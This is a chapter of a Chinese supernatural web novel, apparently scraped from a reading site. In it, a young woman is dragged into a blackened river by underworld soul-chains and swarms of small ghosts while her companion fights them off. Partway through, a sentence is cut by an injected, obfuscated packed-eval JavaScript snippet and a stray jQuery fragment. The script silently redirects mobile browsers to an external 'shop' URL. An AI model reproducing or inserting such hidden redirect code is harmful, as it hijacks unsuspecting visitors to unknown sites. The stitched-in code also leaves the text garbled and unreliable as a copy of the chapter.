文趣网 > 其他小说 > 剪月尾 > 38. 魂索
    仿佛就是下一刻,黯淡天色中忽然泛起一丝空明。

    阮皎玉走前扔掉的那件斗篷被程双圆抱在怀中,她拾起时便摸到它的内里,已全然被絺衣上的河水浸湿,触手一片冰凉,估计过不了多一会,便会结上一层细霜。

    “双圆,你说皎玉去哪了?”

    抱夏靠着程双圆,睁着茫然的双眼望向奔涌不停的河面,喃喃地问道。

    腊祭在一半时终止,多亏阮皎玉扔下了那句大喊,众人才没过于惊慌,被老山聚集着徘徊在河岸,续上了供案上烧尽的香注,略带不安地盯着其上烧落的那截香灰,等待着其归来。

    “不知道。”

    程双圆在拜祭时忽然耳鸣,紧接着神思混沌,此刻却清醒了许多。

    她倒并没表露出过大的反应,只是漫无目的地想着皎玉会去哪里,又是什么事会离开得如此之急——上一回对方飞速消失,还是刚和自己亲了之后。

    女孩不自觉地抿起唇,忽然想起阮皎玉说自己喝过她的血,于是闭上眼,尝试着感应女人的位置,无果,又想到了她口中“会把她抓去做鬼差”的地府,心已然开始渐渐提起。

    自阮皎玉到桃源来,她已经很久没有想起探寻她的身份了。

    如果她的血与地府,与鬼差有干系,那么她本身,是否也与幽冥密不可分……

    “双圆?”

    有人用手在她面前挥了挥:“想什么呢?”

    “我在想,皎玉这回去了哪里。”

    “你能想到吗?”抱夏期待地问道。

    程双圆看了她一眼:“想不出来。”

    “啊……好吧,这种事谁能想到呢。”

    抱夏一下子泄了气,沉闷片刻,扭头打了个哈欠:“唔,起得太早了。天居然才亮吗?我都感觉过了半天了。”

    “还是过得慢些好。”程双圆不知想到了什么,垂着眼自说自话道:“快的话,让人不知道如何才能抓住。”

    “抓住什么?”

    “抓住日子。”

    “日子怎么抓?”

    “嗯……用上所有的感觉。专心沉浸,不过也要警惕,千万不要放过任何变化……”

    “啊,你又说这种让人听不大懂的话了。”抱夏撇撇嘴:“落红呢?专心,沉浸,还要警惕——我待会要好好问问她,你说的到底是什么意思,不过很可能她也不知道。”

    程双圆张口欲言,却忽然顿住。

    抱夏也不说话了,她像燕子点水般俯下身来,使双耳更贴近地面,听了片刻,忽地大喊道:“有浪来了!”

    河水来得极快,裹挟着一股涌动的凉意扑面而来,猛地掀起半人高,眨眼间便越过桃源众人所在之处,斜斜地冲上了岸边,前浪甚至飞溅出岸边很远,水花冲过滩涂,在泥地上浇出了“一”字的湿痕。

    上岸后,浪花与泡沫飞快褪尽,露出其中包裹的人影。

    阮皎玉跪在沙上,从弓身怀抱的姿势中抬起头来,露出怀里的面孔。

    在浪涌上岸的那一刻,桃源所有人几乎同时转向身侧,随后陆续有人开始朝着那处小跑。

    石潜跑在最前,一眼看到她怀里的小小人形,胸口仿佛被谁砸了一下,猛地瞪大了眼,停下步子转头吼道:“空青!”

    空青气喘吁吁地越过她飞奔过去,直接跪在湿泥沙里,接过那双眼紧闭的女孩,双手微颤地探了探她的脉搏,掰开嘴检查了下泥沙,正要脱下外衣将其包裹,余光所及之处,忽见异变顿生,于是惊恐地抬起眼,险些失声叫出来。

    只见阮皎玉低着头,整个人淅淅沥沥地往下滴着水,双手还保持着递出的姿势,却有一股极细的、阴冷至极的黑烟逆着下落的水滴从地底冒出,如蛛网般缠摄住了她苍白的指尖。

    顷刻间,千万丝乌烟鬼气化作无数手,争相自地底涌出。

    桃源大多人还在远处,见到此番景象,如同被扼住了喉咙,汇成一片惊悚到极处的死寂。

    阮皎玉被一股难以抗拒的力道所牵扯,猛地趴跪在了地上。

    腕间的乌烟已然凝聚成型,汇成了一双交叉相扣的桎梏,余下的黑烟沿着桎梏继续编织,凝成散发着不详之气的锁链,如蚂蚁搭桥般,飞速地一节节向河里延伸。

    这是……阴间拘恶所用的魂索。

    来自于幽冥的阴寒,能让魂魄也战栗着僵硬。

    就像……那日水下,白无常化作的鬼火,还有黑无常手中的勾链。这样的冷硬万分的拘具,其所指本该是罪大恶极的阴魂、为祸四方的恶鬼才对。

    阮皎玉已然认出了魂索的模样。

    她强忍僵硬握紧双拳,手腕内测的青筋爬上苍白皮肉,抵抗着这股牵扯,她身后,沉水河沧浪翻涌,裹挟着白雾卷成狂乱的涡流,拍打在岸边,生生隔断了想要上前的众人的去路。

    “把她抱走!”

    她的一头灰丝在狂风里席卷着,用力抬起头,在砰訇的激浪声中,对着空青嘶哑地喊道。

    空青惊恐地点头,张着嘴,却说不出一字来,只得慌忙抱着怀中女童爬起来,迈着颤抖的双腿疾步往后退却。

    有几个人穿越四溅的浪头往雾里跑过来,正撞上这一幕,立刻团团围上前来,用后背遮挡着刀子似的冰冷水花,护送着空青和她怀里的女孩,疾步往回跑去。

    见到几人跑进人群,阮皎玉松了一口气,一阵彻入魂魄深处的虚弱开始升旋,她的身体渐渐因乏力而颤抖,猛地被向河边拖曳了四五尺。

    她咬紧下唇,喉间溢出一声低微的呼喊,竭力向前伸出双手,堪堪止住了拖行。

    身后沉水河受其所感,顿时翻浪更甚,扬起弥天水雾。

    “滴……”

    “滴答。”

    却听隐约似水滴轻落,仿佛有一瞬天地也为之静止,下一瞬,如同浓墨滴入琼水,整条河忽然被敲人骨髓般的阴冷气息所笼罩,由上自下,顷刻间便扩散成一片乌黑,原本碧色的浪头也化作了乌浪。

    一阵细碎、噪杂的孩童叫闹声由远及近传来,眨眼间便响彻了整个桃源。

    “嘻嘻嘻……”

    “啊啊啊啊啊啊嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻……”

    数以百计、密密麻麻的小鬼嬉笑着陆续从黑水里不断冒出来,脚踩着头,头顶着脚,四肢并用地攀到岸上,大些的伸出指甲尖利的小手,撑着细弱到皮包骨头的身躯,嬉笑着翻滚而来,小些的甚至五指连黏,只能在地上血肉模糊的蠕动,嘴里一刻不停地发出嘶哑或凄厉的哀嚎。

    阮皎玉被魂索拘得跪趴在地面,动弹不得,只能任凭无数双手刺入她的皮肉,共同牵着她的四肢,往黑水里拖曳。

    她双肘双膝皆深深陷入泥沙,在滩涂上拖行出一道深痕,鼻尖滴着水,几乎贴到了土地。

    ——还好拘的是我。

    阮皎玉竟觉出几分释然,但同时也生出一丝遗憾——自她化身以来,还从未见地府排出过这么多的小鬼,看样子是铁了心要将自己拿住了。

    她的命数早就该走尽了,如今,或许是时候脱离这令人厌恶的怪异身躯,与程青一同消弭世间了。死后血肉化灰,想来喝的那些血也不再显出作用,能以死最后护双圆一程,也算是死得其所。

    只是,还没有和双圆道过别。明明才定下了约定不久,自己却就这样食言了……她会怪罪吗?

    ……

    如果会,那就一直怪罪着吧。

    阮皎玉视野渐暗,鼻尖已经触到了沙土,纷涌而上的小鬼逐渐将她的整个身躯吞噬,遮蔽了可见的每一寸光亮。

    “砰!”

    一只小鬼骑到阮皎玉头顶,正欲伸手拽她的头发,忽然被打得倒飞了出去,发出一声刺耳的尖叫。

    程双圆浑身湿透,手里握着腊祭时用来打板的长竹片,发丝还在往下滴着黑水,一双眼也似染上了浓墨,目

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17905930|213014||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    中神色冰冷,拽开几个抱成一团的小鬼,拎着它的腿,毫不留情地砸向阮皎玉四周。

    “啊——啊——啊——啊!!!”

    “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!”

    小鬼们顿时凄厉地惨叫起来,几乎要把人的耳膜戳破。

    后续涌来的几十只小鬼凶狠地扑上来,欲将来人撕碎,程双圆反手将尖刺那一角对向身外,手中竹板挥舞如飞,所扫之处血肉横溅,却也被两只小鬼从身后跳上肩头,撞得一个踉跄,险些扑到在地。

    地上的小鬼抓住破绽,嬉笑着扒上她的四肢。

    尖利牙齿刺入身体,殷红鲜血顺涌着后颈流入衣领,她一声不吭,片刻不停,仍是艰难无比地追上地上被拖曳着的人影。

    一步,又一步。

    被刺伤的小鬼不断尖叫着掉落地面,瞬间便化为黑水,飞速渗进地底,没了踪影,却又有新的小鬼不断从沉水河的黑浪里钻出,如蝗虫般涌来。

    程双圆的发带早已散落,发了疯似的挥着已变得鲜红的竹板,将脚边的血肉尽数踩刺成黑水。

    她呼出一口白雾,一把扯下在她后颈撕咬的那只小鬼,用竹板挑着往远处扔去,正好扔到一个人脚下。

    抱夏一张脸吓得发白,半身淋了水,也学着她的模样拿着个竹板,往小鬼头上砸去,竹板却径直穿透了它的身躯,因用力过猛,直接脱手掉到了地上。

    “啊——啊——!”

    小鬼冲她大笑,龇出一口染上了血的尖牙,做出跃跃欲试的动作,胸口被程双圆刺出的洞里却冒出一股烟,尖叫一声,转眼间便化成了黑水。

    抱夏张着嘴,猛地松了口气。

    似是听到动静,远处的人扭头投来一瞥。

    “阿……”

    抱夏抬头对上她的双眼,却登时愣在了原地,一声阿妹卡在喉咙里,只有寒意飞速沿着脊背爬上来。

    程双圆一头青丝披散,眸子里的黑如浓墨般扩散到了两边,几乎将整个眼白遮蔽,中心亮起的两点幽荧如鬼火燐燐,冷冷地冒着森寒,映着四周的魑魅魍魉、血肉黑水,比起人,竟更像是某种鬼魅,比这满地的小鬼更甚。

    她只是看了一眼,便极快地扭回了头去。

    “……”

    抱夏站在原地,还没回过神,几乎要发起抖来。

    阮皎玉愈靠近漆黑的沉水河,周身的小鬼就越多,她下半身已浸入黑水,长衣下的双腿撑不住地,在水中化为长长白鱼尾,猛地一甩,掀起一阵黑雨,将身后的小鬼统统扫到了一丈开外。

    她的耳边充斥着尖声厉叫,除此之外什么也听不清,眼前忽眀忽暗,只能见到被黑水浸透的沙土。

    腕间魂索沾到黑水,渐渐泛起一圈月白色的冷光,几息之间,便化作了莹亮的白骨。

    白骨阴寒更甚。

    阮皎玉的魂魄几乎被冻伤,困在身躯里痛苦地呻吟了一声,便丧失了所有力气,心神一散,被千百小鬼拖着,跌进了川流。

    顷刻间,程双圆浑身缠斗正欢的小鬼尽数化作黑水,被吸进地底。

    四周忽而一片死寂,她抬眼时已看不到人影,只见到沉水河中那诡异的黑流正急速退却,正如来时那般突然。

    程双圆急促地呼吸着,丢开竹板,匆匆走了几步,看到了阮皎玉最后所在的沙坑,里面已经有水溢出来,一路延伸进了沉水河。

    “……”

    力竭的身躯在左右摇晃,她垂下眼,望着着自己抖个不停的双手。

    小鬼鲜红而粘腻的血肉、它们在身上啃咬的痛楚就如同一场幻觉,她的掌心没有抓痕,没有齿印,只有虎口裂开的深痕,和竹刺扎出的小洞横陈在那里,一滴一滴地往下淌着血。

    ……一切都如一场梦。

    可是阮皎玉,是真的被带走了。

    程双圆双腿发软,“咚”地一声,跪倒在坑旁。